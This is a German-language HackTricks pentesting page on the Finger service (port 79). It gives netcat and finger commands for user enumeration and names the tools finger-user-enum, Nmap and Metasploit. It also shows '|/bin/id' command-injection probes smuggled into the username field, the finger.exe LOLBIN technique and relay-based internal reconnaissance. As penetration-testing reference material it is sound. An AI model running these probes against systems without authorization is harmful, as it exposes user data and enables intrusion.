79 - Pentesting Finger
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das Finger-Programm/-Dienst wird verwendet, um Informationen über Computerbenutzer abzurufen. Typischerweise umfassen die bereitgestellten Informationen den Login-Namen des Benutzers, den vollständigen Namen und in manchen Fällen zusätzliche Details. Diese zusätzlichen Angaben können den Bürostandort und die Telefonnummer (falls vorhanden), die Zeit der Benutzeranmeldung, die Dauer der Inaktivität (Idle-Zeit), den letzten Zeitpunkt, an dem Mail vom Benutzer gelesen wurde, sowie den Inhalt der Plan- und Project-Dateien des Benutzers umfassen.
Aus pentesting-Sicht ist Finger weiterhin interessant, da das Protokoll sehr klein, menschenlesbar, und häufig mit veralteter Parsing-Logik implementiert ist. Ein Daemon kann offenbaren:
- aktuell angemeldete Benutzer
- vollständige Namen / GECOS-Daten
- Home-Verzeichnisse, Shells, letzte Login-Zeiten und TTYs
- Inhalte von
.plan/.project - relay behaviour um über den ersten Host einen zweiten abzufragen
Standardport: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Grundlegende Verbindung
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Das Protokoll ist ASCII over TCP/79, normalerweise mit CRLF terminiert, und der Server schließt die TCP-Verbindung nach der Antwort. In der Praxis genügt oft eine Nullabfrage (\r\n), um die aktuelle Benutzerliste abzurufen, was auch das Standard-finger-NSE-Skript von Nmap macht.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternativ können Sie finger-user-enum von pentestmonkey verwenden, einige Beispiele:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Die wichtige Nuance bei Finger enumeration ist, dass es über verschiedene daemons hinweg kein festes Antwortformat gibt. Tools wie finger-user-enum funktionieren gut gegen Solaris/BSD‑artige Dienste, weil gültige und ungültige Benutzer unterschiedliche Textlayouts erzeugen; Sie müssen jedoch möglicherweise positive und negative Antworten manuell vergleichen und die regexes anpassen, wenn der Zieldaemon ungewöhnlich ist.
Nützliche probes, wenn der daemon sich nicht wie das Standard Solaris/BSD verhält:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap führt ein script mithilfe der default scripts aus
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Das Nmap-finger NSE-Skript ist sicher und sendet einfach eine null query, um die aktuelle Benutzerliste abzurufen. Wenn Sie breiteres username guessing gegen permissive daemons durchführen möchten, sollten Sie den Ansatz mit custom wordlists erweitern oder Projekte wie fat-finger.nse verwenden, die mehrere wahrscheinliche account names in einer Anfrage senden und nach username/GECOS-Übereinstimmungen suchen.
Metasploit verwendet mehr Tricks als Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Befehlsausführung
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 erlaubt ausdrücklich, dass Implementierungen ein vom Benutzer kontrolliertes Programm als Reaktion auf eine Finger-Abfrage ausführen, was den klassischen |/bin/...-Missbrauch erklärt. Das ist heute selten, aber wenn Sie einen benutzerdefinierten oder veralteten Daemon finden, testen Sie sorgfältig auf:
- shell metacharacters in username handling
|programexecution in plan/project hooks- backend wrappers that pass the username to a shell script or CGI
Auch denken Sie an den client-side Abuse-Pfad unter Windows: finger.exe ist ein signierter LOLBIN, der beliebigen Text von einem entfernten Finger-Server über TCP/79 abrufen und diese Ausgabe in einen anderen Prozess weiterleiten kann. Diese Technik ist für post-exploitation relevanter als für service enumeration, siehe the Linux reverse-shell page für die Idee des shell-Transports und behalten Sie sie im Hinterkopf, wenn Sie attacker tradecraft nachahmen.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Das ist nicht nur eine Implementierungsbesonderheit: RFC 1288 definiert rekursive @hostname-Weiterleitung ({Q2}-Anfragen). Wenn der Daemon Relaying unterstützt, öffnet der intermediate server die zweite Finger-Verbindung für dich und gibt die Antwort über den ursprünglichen Socket zurück. Das bedeutet:
- Dein Host kann möglicherweise nicht direkt eine Verbindung zum endgültigen Ziel herstellen
- Das Relay kann verwendet werden, um enumerate internal users von einem exponierten Finger-Service durchzuführen
finger-user-enumunterstützt dies nativ mit-r <relay>
Beispiel:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Wenn relaying funktioniert, nutze es als internal recon primitive und vergleiche die relayed output mit der direkten Ausgabe des public daemon. Unterschiedliche Formatierung oder Filterung zeigt oft, ob der relay path von einem separaten backend oder wrapper gehandhabt wird.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


